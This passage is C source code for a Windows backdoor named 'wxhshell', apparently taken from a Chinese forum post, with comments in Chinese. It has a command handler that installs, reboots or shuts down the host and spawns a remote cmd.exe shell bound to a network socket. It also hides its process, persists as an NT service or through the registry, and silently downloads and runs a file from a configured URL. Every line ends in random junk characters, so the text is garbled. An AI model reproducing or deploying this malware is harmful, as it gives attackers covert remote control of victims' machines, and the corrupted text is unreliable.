      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2 fX-J  
    break; +1 H.5|  
  } `<h}Ygo>k/  
  // 安装 \5$N> 2kO  
  case 'i': { _W4i?Bde  
    if(Install()) \$2E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kv[,!P"Y  
    else qHfs*MBJ%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B1oy,'  
    break; dwKre#4F  
    } sY=fS2b#)  
  // 卸载 _'k?9eN`  
  case 'r': { =~% B}T  
    if(Uninstall()) 7CzZHkTg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1q*85 [Y  
    else xQa[bvW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +!6C^G  
    break; Y B@\"|}  
    } 1o7 pMp=  
  // 显示 wxhshell 所在路径 #e0tT+  
  case 'p': { !6ZkLE[XJ<  
    char svExeFile[MAX_PATH]; 3VbQDPG  
    strcpy(svExeFile,"\n\r"); ip4:px-  
      strcat(svExeFile,ExeFile); C26PQGo#$  
        send(wsh,svExeFile,strlen(svExeFile),0); ^.F@yo2}  
    break; g83!il\  
    } )p>BN|L  
  // 重启 7'_zJI^  
  case 'b': { AG2iLictv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ep0L51Q  
    if(Boot(REBOOT)) Z'PE^ ,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l tr =_  
    else { KE+y'j#C3  
    closesocket(wsh); 8@|_];9#.  
    ExitThread(0); >b#z o,  
    } qx<`Kc4  
    break; lztPexyXZ  
    } KL!k'4JNY  
  // 关机 P8e1J0A  
  case 'd': { W?!(/`J]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W{l+_a{/9  
    if(Boot(SHUTDOWN)) MN|y5w}$u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EVMhc"L  
    else { EN()dCQHr  
    closesocket(wsh); BclZsU=xn  
    ExitThread(0); E27wxMU  
    } 8w~I(2S:#  
    break; ~zFs/(k  
    } Zgo^M,g  
  // 获取shell JY#IeNL  
  case 's': {  GWgjbp  
    CmdShell(wsh); fR}|CP  
    closesocket(wsh); .e5GJAW~9  
    ExitThread(0); ;"\e aKl  
    break; 0ANqEQX  
  } b5 YE4h8%  
  // 退出 |Sy |E  
  case 'x': { g>x2[//pk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H1f){L97wR  
    CloseIt(wsh); /] ce?PPC  
    break; _CP e  
    } "-kb=fY  
  // 离开  Z $Ynar  
  case 'q': { UXoaUW L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a<FzHCw  
    closesocket(wsh); T{bM/?g  
    WSACleanup(); ;Yyg(Ex  
    exit(1); |cJyP9}n  
    break; [[QrGJr  
        } _wKFT>  
  } ?7^H1L  
  } ePK^v_vBD  
oJR0sbikP  
  // 提示信息 }8p;w T!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ',`iQt!Lx  
} 1b E$x^P  
  } Z:09 ]r1  
XQ--8G  
  return; g4P059  
} <P ~+H>;  
e//28=OH  
// shell模块句柄 Ttb @98  
int CmdShell(SOCKET sock) p8Di9\}  
{ Ec[=~>;n{l  
STARTUPINFO si; qi}HJkOq  
ZeroMemory(&si,sizeof(si)); R{5Qb?&wOp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V#^~JJW^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :^71,An >E  
PROCESS_INFORMATION ProcessInfo; gzvEy^X  
char cmdline[]="cmd"; \i}n1Qd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P49lE  
  return 0; K_oBSa`  
} Z,qo jtw  
 $.(%7[  
// 自身启动模式 }]N7CWy  
int StartFromService(void) 7qV_QZ!.  
{ bqN({p&  
typedef struct xIf,1g@Cq9  
{ 1[C,*\X8v  
  DWORD ExitStatus; `UMv#-Y8  
  DWORD PebBaseAddress; g4&zBn  
  DWORD AffinityMask; X3#|9  
  DWORD BasePriority; 1j# ~:=I  
  ULONG UniqueProcessId; Lg[*P8wE  
  ULONG InheritedFromUniqueProcessId; ..3TB=Z#  
}   PROCESS_BASIC_INFORMATION; MQ5#6 vJ  
x"K<@mR5G  
PROCNTQSIP NtQueryInformationProcess; _\>?.gg$  
NQ !t`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;#I(ucB<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -RVwPY  
"2}04b|"  
  HANDLE             hProcess; ;FQAL@"Yj  
  PROCESS_BASIC_INFORMATION pbi; *qj @y'1\  
m.EI("n"J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gn #5zx#l  
  if(NULL == hInst ) return 0; 5Az=)q4Q  
<33[qt~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^E8&!s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LpeQx\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l|^p;z: d  
9XX&~GW/  
  if (!NtQueryInformationProcess) return 0; BJ<hP9 #  
,h5\vWZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o*eU0  
  if(!hProcess) return 0; }H!c9Y  
4K[E3aA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YwQxN"  
*4Y1((1k  
  CloseHandle(hProcess); R5NDT4QYU  
uDay||7^g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 28C/^4  
if(hProcess==NULL) return 0; y/h~oGxy  
{*ATY+  
HMODULE hMod; wAkpk&R  
char procName[255]; g+t-<D"L5  
unsigned long cbNeeded; {'E%SIRZ)  
1T!b# x4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HhhN8t  
D'ZR>@w@  
  CloseHandle(hProcess); hU3c;6]3  
L&MR%5  
if(strstr(procName,"services")) return 1; // 以服务启动 WW\u}z.QJ  
(BEGt '7  
  return 0; // 注册表启动 O&V}T#8n  
} O;9u1,%w  
Dz:A.x@$*  
// 主模块 21bvSK  
int StartWxhshell(LPSTR lpCmdLine) aB0L]i  
{ _d 76jmujJ  
  SOCKET wsl; A&jkc'  
BOOL val=TRUE; E'j>[C:U  
  int port=0; Xa=oryDt  
  struct sockaddr_in door; tq H7M0Ry  
__teh>MC  
  if(wscfg.ws_autoins) Install(); ^Wo/vm*]  
[5e}A&  
port=atoi(lpCmdLine); sI7d?+  
D)U 9xA)J  
if(port<=0) port=wscfg.ws_port; g&!UaJ[#9  
Z,)4(#b =  
  WSADATA data; !?Gt5$f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?OW 4J0B'  
/17Qhex  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u n\!K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +%7v#CY &  
  door.sin_family = AF_INET; Q [kbEhv;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NQz*P.q  
  door.sin_port = htons(port); X0Y1I}gD  
,Md8A`7x~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $wg5q\Rv  
closesocket(wsl); N4I`6uDgD  
return 1; d00#;R  
} B>rz<bPT  
r@ujE,D=k  
  if(listen(wsl,2) == INVALID_SOCKET) { X0Zqx1  
closesocket(wsl); 3_|<CE6  
return 1; W@`2+}  
} {^=T&aCYdS  
  Wxhshell(wsl); Q^prHn*@  
  WSACleanup(); aUa.!,_dh  
XLb lVi@  
return 0; g>-pC a  
< aJl i   
} qq.M]?Z  
S[J eW  
// 以NT服务方式启动 v/*}M&vo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z/!LC;(  
{ Z<L}ur  
DWORD   status = 0; 7/+I"~  
  DWORD   specificError = 0xfffffff; ;$,=VB:'  
[~*5uSG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1AQVj]#S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -} Zck1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @W6:JO  
  serviceStatus.dwWin32ExitCode     = 0; WfpQ   
  serviceStatus.dwServiceSpecificExitCode = 0; fb-Lp#!T39  
  serviceStatus.dwCheckPoint       = 0; q;Tdqv!Ju  
  serviceStatus.dwWaitHint       = 0; WD# 96V  
+Ac.@!X}%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~k\Dde  
  if (hServiceStatusHandle==0) return; }A jE- K{  
vz5x{W  
status = GetLastError(); p[R4!if2  
  if (status!=NO_ERROR) Q,R>dkS  
{ (VD Y]Q)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SW5V:|/  
    serviceStatus.dwCheckPoint       = 0; NIgqdEu1  
    serviceStatus.dwWaitHint       = 0; #(swVo:+E  
    serviceStatus.dwWin32ExitCode     = status; ]8q#@%v }  
    serviceStatus.dwServiceSpecificExitCode = specificError; [ )3rc}:1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); */c4b:s  
    return; O+x"c3@Z)D  
  } @~k4,dJ  
EyR~VKbJ'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yN[aBYJx,M  
  serviceStatus.dwCheckPoint       = 0; oCfO:7  
  serviceStatus.dwWaitHint       = 0; A,67)li3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XSk*w'xO  
} [wU e"{  
yq.<,b=87  
// 处理NT服务事件,比如:启动、停止 Drm#z05i[g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SU ,G0.  
{ =LXjq~p  
switch(fdwControl) e}dGK=`  
{ @$}Ct  
case SERVICE_CONTROL_STOP: S[ch/  
  serviceStatus.dwWin32ExitCode = 0; "<Ozoo1&w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u7&q(Z&&O  
  serviceStatus.dwCheckPoint   = 0; 'Qdea$o  
  serviceStatus.dwWaitHint     = 0; <fHJ9(5$V  
  { L0l'4RRm\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E7'  
  } ES-V'[+jDy  
  return; >|X )  
case SERVICE_CONTROL_PAUSE: 9?X8H1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "; 1@f"kw  
  break; 6ChFsteGFr  
case SERVICE_CONTROL_CONTINUE: E5aRTDLq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vA3wn><  
  break; M"Dv -#f  
case SERVICE_CONTROL_INTERROGATE: c@3mfc{  
  break; ?(Se$iTZ  
}; OZc4 -5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }y%c.  
} J>l?HK  
|v:oLgUdH  
// 标准应用程序主函数 K| dI'TnW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 44NM of8N  
{ Gv[s86AP,  
1=Z!ZY}}e  
// 获取操作系统版本 3Ccy %;  
OsIsNt=GetOsVer(); InI>So%e|<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3v@h&7<E  
}u9#S  
  // 从命令行安装 ?g\emhG  
  if(strpbrk(lpCmdLine,"iI")) Install(); X=+|(A,BdY  
w73?E#8  
  // 下载执行文件 fB80&G9  
if(wscfg.ws_downexe) { 6ao~f?JZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aFaioE#h(  
  WinExec(wscfg.ws_filenam,SW_HIDE); xa.tH)R  
} Ul_ 5"3ze  
#M%K82"  
if(!OsIsNt) {  TZ63=m  
// 如果时win9x,隐藏进程并且设置为注册表启动 JM1O7I  
HideProc(); +4$][3.  
StartWxhshell(lpCmdLine); @XJ#oxM^  
} C}#$wge  
else @ ]40xKF  
  if(StartFromService()) f8 BZkh  
  // 以服务方式启动 E!'6v DVC:  
  StartServiceCtrlDispatcher(DispatchTable); AsD$M*It  
else o%bf7)~s  
  // 普通方式启动 |1GOm=GNK  
  StartWxhshell(lpCmdLine); *`} !{ Mb  
k".kbwcaF  
return 0; uNkJe  
}
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只看该作者 1 发表于: 2006-10-10
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